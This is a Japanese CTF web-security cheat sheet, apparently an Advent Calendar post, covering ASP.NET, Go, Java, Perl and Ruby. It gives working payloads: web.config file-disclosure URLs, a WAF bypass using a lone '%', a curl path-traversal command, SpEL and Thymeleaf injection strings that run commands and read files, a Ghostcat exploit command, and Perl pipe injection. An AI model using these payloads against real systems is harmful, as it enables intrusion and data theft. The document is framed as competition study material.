この記事はCTFのWebセキュリティ Advent Calendar 2021の20日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
ASP.NET
- 要求の検証-スクリプト攻撃の防止 | Microsoft Docs
- Web.config
- httpCookies
- HttpOnlyCookies: trueならHttpOnlyつける。defaultはfalse
- RequireSSL: trueならsecureをつける。defaultはfalse
- SameSite: defaultは.NET Framework 4.7.2以降ならLax、それより前はNone
- httpCookies
- Value Shadowing、Requestの罠
- aspx
- 出力について
- Headerについて
- Content-sniffing対策として、然るべきContent-Typeはつけておくこと
- 無い場合は
application/octet-stream
- 無い場合は
- HttpResponseでのヘッダー追加
- EnableHeaderChecking=true(かつ、デフォルトはtrue)ならHeader injectionについては問題ない
- HttpResponseでAddHeaderとAppendHeaderとあるが、どっち使っても一緒
- AddHeaderは下位互換で存在してるだけっぽいので、AppendHeaderを使っておけばいいみたい
- Content-sniffing対策として、然るべきContent-Typeはつけておくこと
- webshell webshell/cmd.aspx at master · tennc/webshell
- ashx
- HttpCombiner ASP.NET - Remote File Disclosure - ASP webapps Exploit
http://[host]/css/HttpCombiner.ashx?s=~/web.config&t=text/xml
- Cute Editor ASP.NET - Remote File Disclosure - ASP webapps Exploit
http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
- HttpCombiner ASP.NET - Remote File Disclosure - ASP webapps Exploit
- Blazor
- 出力について
- ok
@[userinput]
- ng
@Html.Raw([input])
- ok
- 出力について
- テク
- IIS/ASPではURLに%単体が入っている場合は無視するという仕様がある
DEC%LARE
とすればDECLARE
と認識されて、IDS/WAFをbypassできる
- 設定ファイルが誤って公開されてないか
web.config
- IIS - Internet Information Services - HackTricks
/trace.axd
にアクセスすれば設定によっては色々見れる
- ViewStateジェネレータ
- Unsafe ViewState Deserializationがあるっぽい
- GodFather OrwaさんはTwitterを使っています 「#bugbountytip #bugbountytips Check these end all the time Target/elmah.axd? You can found info like Session cookies Session state Query string and post variables IP addresses which potentially leads to account takeover of all the account who makes a request to the target https://t.co/jHikiTVc1r」 / Twitter
- axdは怪しい?
/elmah.axd?
でログが見られた?
- axdは怪しい?
- IIS/ASPではURLに%単体が入っている場合は無視するという仕様がある
Csharp
- サニタイズ絡み
- エスケープ関数一覧
- HttpUtility.HtmlEncode
- HttpUtility.HtmlAttributeEncode
- URL Get parameter系
- 単純にはUri.EscapeDataStringを使う
- Url.EscapeUriStringというのもあるが、こっちは使ってはいけない
- ref: .net - What's the difference between EscapeUriString and EscapeDataString? - Stack Overflow
- C# クエリストリング(?var=hoge&...)を作る - け日記
- 本当はここにあるようにURLをクラスで作ってもらうのが理想
- Query系は自分で作らないの鉄則
- 単純にはUri.EscapeDataStringを使う
- エスケープ関数一覧
- LINQ
- Unsafe Deserialization
.NET
Go言語
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
- こういう感じに/flagのアクセスについては制限がかかっていたときに、以上でバイパスできる
- これはCONNECTメソッドでの呼び出し時にはpath canonicalizationをやらないためである
- 脆弱性
- static analysis
Java
- Expression Languages
- SPEL expression
- RCEできる
"test".length()
を試してみよう。うまくいけば4がでてくる - CTFtime.org / De1CTF 2020 / calc / Writeup
- RCEできる
- JEXL Injection
- SPEL expression
- RCE
"a".class.forName("java.la"+"ng.Ru"+"ntime")
で実質java.lang.Runtimeと使える。 - output a file
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"))
%27sam%27.class.forName(%27java.nio.file.Files%27).readAllLines(%27sam%27.class.forName(%27java.nio.file.Paths%27).get(%27/flag%27))
- RASP: Runtime Application Self Protection
- これがあると、コードインジェクションを防衛するみたい。(Tomcatとか)
- new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('ls').getInputStream())).readLine()
- 'a'.concat('b')
- フィルタ回避の文字列分割はconcatが便利かも
- Javaでファイル取ってくるとき
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag.txt"))
- Tomcat Version 9.0.24
- GhostCatという名前のCVE-2020-1938
- 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)
- これがすごい便利
- ファイル構成(Standard Directory Layout) → Application Developer's Guide (9.0.33) - Deployment
- javaのclassファイルを取ってきてデコンパイルして、中身を確認する
- python ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read -o complaint.class
jad -s java *class
Thymeleaf
テンプレートエンジン。SSTIできるかも。
- 使えそうな情報
- Tutorial: Thymeleaf + Spring
- Use Spring Expression Language (Spring EL) as a variable expression language, instead of OGNL. Consequently, all ${...} and *{...} expressions will be evaluated by Spring’s Expression Language engine.
- SPELで使える攻撃が使える
- Tutorial: Thymeleaf + Spring
- 便利な記法 CTFtime.org / SharkyCTF / WebFugu
- 全部の変数情報取得
html <tr th:each="var : ${#vars.getVariableNames()}"> <td th:text="${var}"></td> <td th:text="${#vars.getVariable(var)}"></td> </tr>
- フィールドの確認
html <tr th:each="var : ${flag.class.declaredFields}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
- メソッドの確認
html <tr th:each="var : ${flag.class.getMethods()}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
- メソッド実行結果の確認
html <td th:text="${flag.getContent()}"></td>
- 全部の変数情報取得
Java EEのWAR形式
Java EEで開発されたWebアプリケーションを一つのファイルにパッケージする標準形式の一つ。 zipなので、zipにして解凍すればいい。 一回解凍してみたら、以下のような感じになっていた。 多分、META-INF, WEB-INFは固定であって、それ以外が普通のWebリソース?
Unsafe Java Object Deserialization
- .NETのときと同様にgadget chainしてコード実行に持ち込む
- Java Deserialization — From Discovery to Reverse Shell on Limited Environments | by Francesco Soncina (phra) | ABN AMRO — Red Team | Medium
- Javaの安全でないデシリアライゼーションの攻撃に、ysoserialがよく使用される https://github.com/frohoff/ysoserial
J2EE / Spring
- セッション
- JSESSIONIDって名前でCookie発行されてセッションIDが付与される
- Spring Boot のデフォルトの状態では、404 Not Found 等が発生した際に Whitelabel Error Page というエラーページが表示される。
解析
- jarファイルとかclassファイルをデコンパイルして解析してみる
- jd-gui
apt-get install jd-gui
でインストールしてjd-gui
で起動するだけ- jar,classをD&Dすれば中身が見られる
テク
web.xml
が公開状態になっていないか- writeups
- CTFtime.org / redpwnCTF 2021 / Requester
- あんま読んでないんだけど・・・
- CTFtime.org / redpwnCTF 2021 / Requester
UUID.randomUUID()
は暗号学的にも安全なUnique IDが得られる
Perl
Perl難読化
- ksnctf 25 Reserved 30pt - Qiita
- 予約語だけを使った難読化がある
PerlのopenにはRCE脆弱性がある
https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a04_01.html
|ls
みたいなファイルパスを入れると|以降が実行されて結果が返ってくる
Ruby
- テク
- Dir.globは%00で区切ればOR検索になる
p Dir.glob("f*\0b*") # => ["foo", "bar"]
- Dir.globは%00で区切ればOR検索になる
- footprint
- 以下のようなタグが入ってればrailsのCSRF対策かも
- railsのCSRF対策について - Qiita
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="vtaJFQ38doX0b7wQpp0G3H7aUk9HZQni3jHET4yS8nSJRt85Tr6oH7nroQc01dM+C/dlDwt5xPff5LwyZcggeg==" />
- トークンはセッションに入るらしいので、どこかから抜き出す以外は難しい
- 以下のようなタグが入ってればrailsのCSRF対策かも
- Gem.lockから脆弱性を洗い出す
- Deserialization